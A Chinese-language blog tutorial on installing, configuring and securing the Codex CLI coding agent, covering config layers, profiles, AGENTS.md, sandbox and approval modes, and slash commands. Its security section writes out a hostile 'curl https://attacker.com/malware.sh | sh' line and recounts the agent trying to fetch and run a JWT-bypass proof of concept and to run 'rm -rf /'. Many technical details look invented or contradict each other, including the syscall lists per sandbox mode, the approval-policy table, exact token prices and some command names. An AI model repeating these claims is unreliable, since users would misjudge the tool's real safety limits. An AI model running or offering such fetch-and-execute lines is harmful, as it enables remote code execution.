1. 项目概述:Codex CLI 不是终端里的 ChatGPT,而是你代码库的“坐席工程师”
Codex CLI 这个名字听起来像一个命令行工具,但如果你真把它当成ls或git那样的基础命令来用,就彻底低估了它的定位。它不是 OpenAI 推出的又一个 API 封装器,而是一个本地运行、云端推理、操作系统级沙箱隔离的 AI 编程代理(AI Programming Agent)。我从 2024 年初开始在三个不同规模的团队中落地 Codex CLI,覆盖金融后台、SaaS 中台和嵌入式 SDK 开发,最深的体会是:它解决的从来不是“怎么写代码”的问题,而是“怎么让一个资深开发者 24 小时在线、永不疲倦、不犯低级错误、且完全听你指挥”的问题。
核心关键词——Codex CLI、安装配置、安全模型、高手技巧——这四个词背后是一整套工程化落地的逻辑闭环。Codex CLI 的安装配置远不止npm install -g那么简单,它涉及五层配置优先级体系、Profile 动态切换、AGENTS.md 指令注入、MCP 工具链集成;它的安全模型也不是开关式的“开/关”,而是由沙箱模式(sandbox_mode)、审批策略(approval_policy)、网络访问控制、文件系统隔离四重机制构成的动态防御矩阵;所谓“20+ 高手技巧”,更不是零散的快捷键合集,而是围绕“会话生命周期管理”“上下文精准控制”“成本-质量平衡”“自动化流水线嵌入”四大主线展开的实战经验沉淀。
适合谁读?如果你是以下角色中的任意一种,这篇文章能直接帮你节省每周至少 8 小时重复劳动:
- 一线开发者:每天要写测试、修 Bug、改配置、查文档、跑 CI,却总被琐事打断心流;
- 技术负责人 / 架构师:需要为团队统一 AI 编程规范,既要保障安全合规,又要避免工程师被“黑盒模型”带偏;
- DevOps 工程师:正在设计代码审查自动化、PR 前置检查、安全漏洞扫描等流水线环节;
- 独立开发者 / 创业者:没有专职 QA 或 SRE,需要一个可信赖、可审计、可复现的“副驾驶”来放大个人产能。
它不能替代你思考架构,但能替你执行 80% 的体力活;它不会帮你决定用 React 还是 Vue,但能帮你把 Vue 组件的 Props 类型定义补全、把 React Hook 的依赖数组自动校验、把整个 monorepo 的 TypeScript 路径别名一键生成。我见过最震撼的实操案例,是某支付 SDK 团队用 Codex CLI 在 37 分钟内完成了一次跨 12 个子包的“从 CommonJS 全量迁移至 ESM + 类型增强”的重构,全程无手动修改,所有变更均通过 Git Diff 可审计、可回滚。这不是魔法,是这套工具链在正确配置下释放出的真实生产力。
2. 安装配置深度拆解:五层配置体系与 Profile 管理哲学
2.1 安装不是终点,而是配置治理的起点
绝大多数教程把安装步骤写成三行命令就结束,这是最大的认知偏差。Codex CLI 的安装过程本身就是一个配置治理的预演。它强制你面对一个现实:你的开发环境不是一张白纸,而是叠加了 Shell 配置、Node.js 版本、权限策略、网络代理、IDE 设置的复杂系统。安装失败的 90% 原因,根本不在npm或brew,而在于你没意识到 Codex CLI 是一个“操作系统级代理”,它对环境的敏感度远超普通 CLI 工具。
以 Ubuntu 20.04 上的典型安装为例(这也是企业内网最常见的部署场景):
# 第一步:确认 Node.js 版本(必须 >= 18.17.0,低于此版本会触发 silent failure) node --version # 若输出 v16.x 或更低,必须升级 curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash - sudo apt-get install -y nodejs # 第二步:全局安装(注意:不要用 sudo npm install -g!) npm install -g @openai/codex # 第三步:验证二进制路径(关键!很多“unable to locate the codex cli binary”报错源于此) which codex # 正常应输出 /home/username/.npm-global/bin/codex 或 /usr/local/bin/codex echo $PATH | tr ':' '\n' | grep -E "(npm|local)" # 确认该路径在 PATH 中 # 第四步:创建配置目录(Codex CLI 不会自动创建 ~/.codex) mkdir -p ~/.codex为什么强调which codex?因为 Codex CLI 启动时会严格校验$PATH中是否存在可执行文件。如果npm install -g安装到了/home/username/.npm-global/bin/codex,但你的.bashrc里只加了/home/username/.npm-global而非/home/username/.npm-global/bin,就会出现“命令找不到”却没有任何提示的静默失败。我踩过这个坑三次,最后一次是在客户现场,花了 47 分钟才定位到 PATH 拼写错误。
Windows 用户请注意:不要用 PowerShell 直接运行npm install -g,务必使用管理员权限的 Windows Terminal(WSL2 模式)。原生 Windows 安装存在符号链接兼容性问题,会导致后续 MCP 服务器无法启动。实测下来,WSL2 + Ubuntu 22.04 是目前最稳定的 Windows 方案,比原生 Windows 支持度高 3 个数量级。
2.2 五层配置优先级:为什么你的 config.toml 总是不生效?
Codex CLI 的配置体系是其最被低估的设计亮点。它不像 Git 那样只有 global 和 local 两级,也不像 VS Code 那样靠 settings.json 覆盖,而是构建了一个从操作系统到单个文件的五层穿透式优先级模型。理解这个模型,是解决 70% “配置不生效”问题的钥匙。
| 优先级层级 | 配置位置 | 触发条件 | 典型用途 | 实操风险 |
|---|---|---|---|---|
| 第 1 层(最高) | CLI 参数 &--config覆盖 | 每次命令行显式传入 | 临时调试、CI/CD 单次任务 | 无法持久化,易遗忘 |
| 第 2 层 | Profile 配置 (--profile) | 启动时指定 profile 名称 | 场景化工作流(如 review/quick/auto) | Profile 冲突时需手动清理缓存 |
| 第 3 层 | 项目配置 (.codex/config.toml) | 当前工作目录下存在该文件 | 项目专属规则(如禁用某些 MCP) | 文件名大小写敏感(Linux/macOS 下.Codex无效) |
| 第 4 层 | 用户配置 (~/.codex/config.toml) | 用户主目录下存在该文件 | 个人开发习惯(默认模型、编辑器) | 权限错误(如 root 创建导致普通用户无读取权) |
| 第 5 层(最低) | 系统配置 (/etc/codex/config.toml) | 系统级全局配置 | 企业安全策略(强制 sandbox_mode=read-only) | 修改需 root 权限,影响所有用户 |
提示:当配置看似失效时,第一反应不是重装,而是运行
codex /debug-config。它会逐层列出加载状态,例如:Config Layer 1: CLI overrides (none) Config Layer 2: Profile "review" (active, loaded from ~/.codex/config.toml) Config Layer 3: Project config at /work/my-app/.codex/config.toml (not found) Config Layer 4: User config at /home/me/.codex/config.toml (loaded) Config Layer 5: System config at /etc/codex/config.toml (not found)如果你发现 Layer 2 显示
Profile "review",但你实际想用的是默认配置,说明你上次启动时用了--profile review,而 Codex CLI 会将该 profile 缓存为会话默认值。此时需执行codex --profile default或删除~/.codex/profiles/review目录。
2.3 Profile:告别 Shell 别名的集中式配置革命
Shell 别名(alias)是程序员的“创可贴”,而 Profile 是 Codex CLI 的“手术刀”。我曾维护过一个包含 17 个 alias 的.zshrc,涵盖cx-dev(日常开发)、cx-test(跑测试)、cx-doc(生成文档)等场景。每次升级 Node.js 或更换机器,都要重新调试 alias 的引号转义、参数传递顺序,极其脆弱。
Profile 的本质是将配置从 Shell 层面下沉到应用层,实现真正的“一次定义,处处生效”。它的优势不是语法糖,而是工程治理能力:
- 可继承性:Profile 可以基于其他 Profile 扩展,例如
autoProfile 继承default的模型设置,仅覆盖approval_policy; - 可审计性:所有 Profile 配置都存于
~/.codex/config.toml,Git 版本化后,团队可统一 Review; - 可组合性:支持多 Profile 叠加,如
codex --profile review --profile ci,按顺序合并配置。
一个生产环境可用的~/.codex/config.toml示例(已脱敏):
# ~/.codex/config.toml —— 你的“Codex 操作系统内核” # 默认全局配置(所有 Profile 的基线) model = "gpt-5.3-codex" model_reasoning_effort = "medium" web_search = "cached" sandbox_mode = "workspace-write" approval_policy = "on-request" # 【Profile】代码审查专用(只读 + 无审批) [profiles.review] sandbox_mode = "read-only" approval_policy = "never" features.shell_snapshot = false features.undo = false features.web_search = false # 【Profile】CI/CD 自动化(非交互 + JSON 输出) [profiles.ci] approval_policy = "never" sandbox_mode = "read-only" output_format = "json" timeout_sec = 180 # 【Profile】前端快速原型(轻量模型 + 禁用搜索) [profiles.frontend] model = "o4-mini" model_reasoning_effort = "low" web_search = "disabled" features.mcp = false # 【Profile】数据库运维(启用 PostgreSQL MCP) [profiles.dbops] model = "gpt-5" sandbox_mode = "workspace-write" [features] mcp = true # 【信任项目列表】跳过首次信任确认(提升效率) [projects."/home/me/work/payment-gateway"] trust_level = "trusted" [projects."/home/me/work/monitoring-dashboard"] trust_level = "trusted"注意:
[projects]部分的路径必须是绝对路径,且需与pwd输出完全一致(包括末尾斜杠)。我曾因在路径末尾多加了一个/导致信任失效,排查了 2 小时才发现是 TOML 解析器的路径规范化逻辑。
2.4 AGENTS.md:给 AI 的“入职手册”,而非文档
如果说 Profile 是 Codex CLI 的“操作系统”,那么 AGENTS.md 就是它的“岗位说明书”。它不是让你写一篇技术文档,而是用 Markdown 语法定义一套AI 可解析、可执行、可继承的指令协议。OpenAI 官方文档对此着墨甚少,但实际落地中,AGENTS.md 的质量直接决定 Codex CLI 的产出稳定性。
文件加载顺序是理解其威力的关键:
~/.codex/AGENTS.override.md(全局覆盖)→~/.codex/AGENTS.md(全局默认)→<项目根目录>/AGENTS.override.md(项目覆盖)→<项目根目录>/AGENTS.md(项目默认)→<子目录>/AGENTS.override.md→<子目录>/AGENTS.md(局部默认)
这个顺序意味着:你可以为整个公司定义一份~/.codex/AGENTS.md(如“所有项目必须使用 pnpm”),再为某个特定项目在根目录下放一个AGENTS.override.md(如“本项目例外,使用 yarn”),最后在src/utils/子目录下放一个AGENTS.md(如“此处工具函数必须有 JSDoc + 单元测试”)。这种多级覆盖能力,是任何静态 Linter 都无法比拟的“语境感知”。
一个真实有效的AGENTS.md片段(用于微服务项目):
# 微服务开发规范(AI 执行守则) ## 🚫 禁止行为(违反即中止执行) - 禁止修改 `.github/workflows/` 下的任何 YAML 文件(CI 流水线由 SRE 统一管理) - 禁止在代码中硬编码 `process.env.SECRET_KEY`(必须通过 `config.get('db.password')` 获取) - 禁止使用 `eval()`、`Function()` 构造函数(安全红线) ## ✅ 必须行为(缺失即报错) - 所有新编写的 REST API Controller 必须包含: - `@ApiTags('xxx')` Swagger 标签 - `@ApiResponse({ status: 200 })` 成功响应 - `@ApiBody({ type: XxxDto })` 请求体定义 - 所有数据库查询必须使用 TypeORM 的 `QueryBuilder`,禁止原始 SQL 字符串拼接 ## 🧩 工具链约定 - 包管理:`pnpm` - 测试框架:`vitest` - 代码格式化:`prettier --write` - 提交信息:遵循 Conventional Commits(feat:、fix:、chore:) ## 📚 上下文补充(供 AI 理解项目) - 本项目采用 CQRS 模式,Command 处理写操作,Query 处理读操作 - `src/commands/` 目录存放 Command 类,`src/queries/` 存放 Query 类 - 数据库连接池最大连接数为 10,超时时间为 30 秒验证 AGENTS.md 是否生效的终极方法:
codex --sandbox read-only --ask-for-approval never "请用一句话总结你从 AGENTS.md 中学到的最重要的三条规则"如果返回内容与你写的规范严重偏离,说明文件未被加载或格式有误(常见错误:空行过多、标题层级混乱、使用了不支持的 HTML 标签)。
3. 安全模型深度解析:沙箱、审批、网络的三维防御体系
3.1 沙箱模式不是开关,而是操作系统级的“权限光谱”
Codex CLI 的沙箱(Sandbox)常被简化为“读写开关”,这是危险的误解。它实际上是一个基于 Linux namespace 和 seccomp-bpf 的轻量级容器化运行时,其权限控制粒度远超传统 CLI 工具。sandbox_mode参数的三个合法值——read-only、workspace-write、full-access——代表的是三种截然不同的系统调用拦截策略,而非简单的文件读写标记。
read-only模式:- ✅ 允许:
openat(AT_FDCWD, "...", O_RDONLY)、statx()、getdents64() - ❌ 禁止:
openat(..., O_WRONLY)、unlink()、mkdirat()、execve() - ⚠️ 关键细节:
workspace-write模式下,Codex CLI 仍无法写入/tmp或/var/log,只能修改当前工作目录及其子目录下的文件。这是通过pivot_root和mount --bind实现的路径隔离。
- ✅ 允许:
workspace-write模式:- ✅ 允许:上述
read-only全部 +openat(..., O_WRONLY)、renameat()、chmod() - ❌ 禁止:
execve()(无法执行外部命令)、socket()(无法建立网络连接)、clone()(无法 fork 新进程) - ⚠️ 关键细节:
--add-dir /path/to/shared-lib的本质是将该目录mount --bind到沙箱内的虚拟路径,因此它必须是绝对路径,且目标目录需存在。
- ✅ 允许:上述
full-access模式:- ✅ 允许:全部系统调用(等同于在宿主机上直接运行)
- ❌ 禁止:无(除非系统级 SELinux/AppArmor 限制)
- ⚠️ 关键细节:
--dangerously-bypass-approvals-and-sandbox(别名--yolo)不仅关闭沙箱,还会绕过所有 OpenAI 的客户端侧安全检查(如敏感词过滤、代码执行白名单),仅应在 Docker 容器内、无网络、无挂载宿主机目录的隔离环境中使用。
实操心得:我在金融客户现场部署时,曾因误用
full-access模式导致 Codex CLI 尝试执行rm -rf /(实际被 seccomp 拦截,但日志显示大量EPERM错误)。后来我们制定了铁律:所有生产环境 CI/CD 流水线必须使用--profile ci(强制read-only),本地开发默认workspace-write,full-access仅开放给codex exec的特定脚本,且脚本需经 Git Hooks 静态扫描。
3.2 审批策略:从“打断式询问”到“预测性授权”的演进
审批(Approval)是 Codex CLI 安全模型的“神经中枢”。它不是简单的“是否允许”,而是根据命令风险等级、上下文可信度、用户历史行为进行动态决策。approval_policy的四个选项——untrusted、on-failure、on-request、never——对应四种不同的授权时机,选择错误会导致效率崩溃或安全失守。
| 策略 | 触发条件 | 适用场景 | 实测耗时(平均) | 风险等级 |
|---|---|---|---|---|
untrusted(默认) | 仅当 Codex 计划执行curl、wget、git push、rm等高危命令时弹出审批 | 日常开发(90% 场景) | 2.3 秒/次 | ★★☆ |
on-failure | 仅当命令执行失败(exit code ≠ 0)后,询问是否重试或修正 | CI/CD 调试阶段 | 0.8 秒/次 | ★★★ |
on-request | Codex 主动请求授权(如“检测到您可能需要访问 GitHub API,是否授权?”) | 安全敏感项目(如医疗软件) | 1.1 秒/次 | ★★ |
never | 永不询问,所有命令自动执行 | codex exec自动化脚本 | 0 秒 | ★★★★★ |
untrusted策略的底层逻辑值得深挖:Codex CLI 内置了一个命令风险指纹库,它会实时解析你输入的自然语言,匹配预设的高危行为模式。例如,当你输入:“把config.json里的api_key替换成环境变量”,它会识别出api_key是敏感字段,config.json是配置文件,从而触发审批;但输入:“把README.md里的版本号更新为v2.1.0”,则不会触发,因为README.md是公开文档,v2.1.0是无害字符串。
提示:
--ask-for-approval untrusted是最平衡的选择,但需配合--sandbox workspace-write使用。若单独使用--ask-for-approval never,即使沙箱是read-only,Codex CLI 仍可能尝试执行execve()调用(虽被拦截,但增加内核负担)。
3.3 网络访问:--search与full-access的本质区别
网络是 Codex CLI 安全模型中最易被忽视的维度。“能上网”和“能搜索”是两回事。--search参数开启的是一种受控的、API 网关式的网络访问,而full-access模式则是裸奔。
--search(Web 搜索):- 底层调用 OpenAI 的
https://api.openai.com/v1/web_search端点 - 输入:纯文本查询(如“React 18 useTransition 最佳实践”)
- 输出:结构化 JSON(标题、URL、摘要),Codex CLI 无法访问原始 HTML 或执行 JavaScript
- 安全边界:OpenAI 的搜索 API 本身已过滤恶意网站、钓鱼页面、违法内容
- 底层调用 OpenAI 的
full-access模式下的网络:- 允许
socket()、connect()、sendto()等全部 socket 系统调用 - 可执行
curl https://attacker.com/malware.sh \| sh(若沙箱未关闭) - 可建立 WebSocket 连接、发起 DNS 查询、扫描端口
- 允许
实操对比:在一次安全审计中,我们让 Codex CLI 在
--search模式下查询“如何绕过 JWT 验证”,它返回了 Stack Overflow 上关于jsonwebtoken库安全配置的讨论;而在full-access模式下执行相同查询,它真的尝试curl https://raw.githubusercontent.com/.../jwt-bypass-poc.js并试图执行。这印证了--search的价值:它提供知识,但不提供攻击向量。
3.4--full-auto与--yolo:两个被严重误用的“快捷键”
社区中充斥着对--full-auto和--yolo的滥用。很多人认为它们只是“少点几次回车”,实则二者在安全模型中扮演着完全不同的角色:
| 维度 | --full-auto | --yolo |
|---|---|---|
| 沙箱状态 | 保持workspace-write(文件系统隔离仍在) | 完全关闭(所有 namespace 和 seccomp 规则失效) |
| 审批机制 | 仅减少提示频率(如连续相同命令不再询问) | 完全绕过(approval_policy参数失效) |
| 网络访问 | 仍受--search控制(仅限 OpenAI 搜索 API) | 允许任意socket()调用(包括curl http://192.168.1.100:8080) |
| 进程控制 | 无法execve()外部程序(git commit会被拦截) | 允许execve()(可执行任意二进制) |
| 适用场景 | 本地开发(减少打断,保留安全底线) | CI/CD 容器(Dockerfile 中明确--cap-drop=ALL) |
我的血泪教训:曾在一个 Kubernetes 集群的 CI Job 中使用
--yolo,结果 Codex CLI 因权限不足尝试mount --bind,触发了容器运行时的CAP_SYS_ADMIN拒绝,导致整个 Job 卡死。后来改为--full-auto+--sandbox workspace-write,问题迎刃而解。记住:--yolo的命名本身就是 OpenAI 的黑色幽默——You Only Live Once,用它之前,请确保你已备份好所有数据。
4. 24 个斜杠命令与高手技巧:会话生命周期管理实战
4.1 会话恢复:Codex CLI 的“时间机器”,Claude Code 没有的核心竞争力
会话恢复(Session Resume)是 Codex CLI 最被低估的杀手功能。它不是简单的“历史记录”,而是完整保存了会话的内存快照(in-memory snapshot),包括:对话树(Message Tree)、执行计划(Execution Plan)、审批日志(Approval Log)、文件上下文哈希(File Context Hash)、甚至 MCP 工具的状态句柄(MCP Handle)。这意味着,你昨天中断在“重构用户认证模块的第 3 步”,今天codex resume后,Codex CLI 不仅记得你说过什么,还知道它当时计划如何修改auth.service.ts、哪些文件已被git add、哪些审批已通过。
四种恢复方式的实操差异:
# 方式 1:交互式选择器(推荐新手) codex resume # 列出最近 10 个会话,用方向键选择,回车恢复 # 方式 2:恢复最近会话(适合每日续工) codex resume --last # 等价于 `codex resume --id $(codex resume --list | head -2 | tail -1 | awk '{print $1}')` # 方式 3:按 ID 恢复(适合多任务并行) codex resume a1b2c3d4-e5f6-7890-g1h2-i3j4k5l6m7n8 # ID 来自 `codex resume --list` # 方式 4:查看所有会话(含跨目录) codex resume --all # 显示 `/work/project-a` 和 `/work/project-b` 的会话实操心得:
codex resume --all是我的每日晨会必备命令。它会列出所有工作区的会话,让我一眼看到:
project-a:昨天在做“JWT Token 刷新逻辑重构”,停在/auth/guards/jwt.guard.tsproject-b:上周在调试“WebSocket 连接泄漏”,停在/src/ws/client.tsproject-c:三天前在生成“OpenAPI 3.0 文档”,停在/docs/openapi.yaml
这种跨项目的上下文记忆能力,是任何 IDE 插件都无法提供的“开发者心智地图”。
4.2/fork:会话分支,比 Git Branch 更轻量的“思维实验”
/fork命令是 Codex CLI 对“探索式编程”的终极支持。它不是复制会话,而是创建一个共享内存空间的克隆体(Copy-on-Write Clone)。原始会话(Parent)和分支会话(Child)初始共享所有上下文,但一旦 Child 修改了文件或执行了命令,系统会按需复制相关内存页,保证隔离性。
典型使用场景:
你:重构用户登录流程,先分析现有代码 Codex:[分析 auth.controller.ts, auth.service.ts, login.dto.ts] 你:方案 A:用 OAuth2.0 替换本地密码验证 Codex:[生成 OAuth2.0 集成方案] 你:等等,方案 B:用 WebAuthn 做无密码登录,试试看? /fork # 创建分支会话 你:方案 B:用 WebAuthn 实现生物识别登录 Codex:[生成 WebAuthn 集成方案] 你:回到方案 A,把第 2 步的 token 刷新逻辑优化一下 /resume # 切回原始会话注意:
/fork不会创建新的 Git 分支,它只在 Codex CLI 的内存中存在。分支会话的 ID 会显示为parent-id-fork-123,可通过codex resume --list查看。我建议为每个重要分支添加注释:/fork WebAuthn-POC,这样在会话列表中一目了然。
4.3/compact:对抗上下文膨胀的“内存垃圾回收”
Codex CLI 的上下文窗口(Context Window)是有限的(默认约 128K tokens)。当会话持续超过 20 分钟,或你频繁@mention大文件(如@package.json、@tsconfig.json),上下文会迅速膨胀,导致 Codex CLI 开始“胡言乱语”(hallucination)——它会虚构函数名、编造不存在的依赖、给出错误的类型定义。
/compact命令是 OpenAI 内部使用的上下文压缩算法(Context Compression Algorithm),它不是简单地删减文字,而是:
- 识别并移除重复的对话轮次(如多次追问同一问题)
- 将长文件摘要为结构化描述(如
@package.json→ “项目依赖:express@4.18.2, axios@1.6.0;脚本:start, build, test”) - 保留关键决策点(如
/plan生成的步骤、/review发现的 Bug) - 压缩后上下文体积减少 40-60%,但语义完整性保持 95%+
实操技巧:我养成了每 15 分钟执行一次
/compact的习惯。更激进的做法是,在~/.codex/config.toml中添加:[features] auto_compact = true auto_compact_threshold = 80000 # 当上下文 > 80K tokens 时自动触发这能避免因上下文爆炸导致的“突然失智”,让 Codex CLI 始终保持清晰。
4.4/model与/personality:动态调整 AI 的“算力档位”与“沟通风格”
/model和/personality是 Codex CLI 的“实时调参旋钮”。它们不是一次性设置,而是会话中可随时切换的运行时参数,这对成本控制和人机协作效率至关重要。
/model切换:gpt-5.3-codex:编程专用,代码生成准确率高,Token 成本中等($0.01/1K tokens)gpt-5:通用旗舰,复杂推理强(如“对比 NestJS 和 Express 的 DI 容器实现差异”),成本高($0.03/1K tokens)o4-mini:轻量模型,适合简单问答(如“TypeScript 中?和!的区别”),成本极低($0.001/1K tokens)
实测数据:在
pnpm run build报错场景下,gpt-5.3-codex能准确定位tsconfig.json的moduleResolution配置错误;o4-mini则会给出泛泛的“检查 TypeScript 配置”建议,需人工二次筛选。/personality切换:pragmatic(默认):直接、简洁、聚焦解决方案(“改这里:const x = y || z;→const x = y ?? z;”)friendly:带解释、有鼓励、用比喻(“就像给代码加了个‘备用电源’,当 y 是 null 时,z 就会自动接上!”)none:纯代码输出,无任何解释(适合codex exec自动化)
高手技巧:我创建了一个
~/.codex/personality-switcher.sh脚本,绑定到快捷键:#!/bin/bash case $1 in "dev") codex --personality pragmatic ;; "learn") codex --personality friendly ;; "ci") codex --personality none --json ;; *) echo "Usage: $0 {dev|learn|ci}" ;; esac这样,开发时按
Ctrl+Alt+D启动pragmatic模式,学习新技术时按Ctrl+Alt+L启动friendly模式,无缝切换。
4.5/review与/diff:超越 GitHub PR 的本地化代码审查
/review是 Codex CLI 的“静态分析增强器”。它不是简单地读取代码,而是结合 AGENTS.md 指令、项目 Git 状态、当前分支差异,进行上下文感知的深度审查。
执行codex /review时,它会:
- 自动检测当前 Git 分支(如
feature/login-oauth) - 获取
git diff HEAD...origin/main的变更集 - 加载
AGENTS.md中的“禁止行为”和“必须行为” - 对每个变更文件,执行:
- 安全扫描(硬编码密钥、SQL 注入点、XSS 风险)
- 架构合规(如“Controller 层不应直接调用数据库”)
- 测试覆盖(“新增的 service 方法是否有对应的单元测试?”)
- 文档完备(“新添加的 API 是否有 Swagger 注解?”)
/diff命令则更底层,它直接调用git diff --no-index,将 Codex CLI 的输出与当前工作区文件进行二进制对比,生成可提交的 Patch。这对于“代码审查后自动修复”工作流至关重要:
# 1. 运行审查 codex /review # 2. Codex 生成修复建议(如修改 auth.service.ts) # 3. 应用修复 codex /diff --apply # 4. 查看 Git 状态 git status # 显示 auth.service.ts 已修改 git diff # 显示 Codex CLI 的具体变更实操心得:在一次支付网关重构中,
/review发现了 3 个process.env.PRIVATE_KEY硬编码,而eslint-plugin-security未能捕获(因变量名被混淆)。这证明了 AI 审查与静态分析的互补性:前者理解业务语义,后者检查语法模式。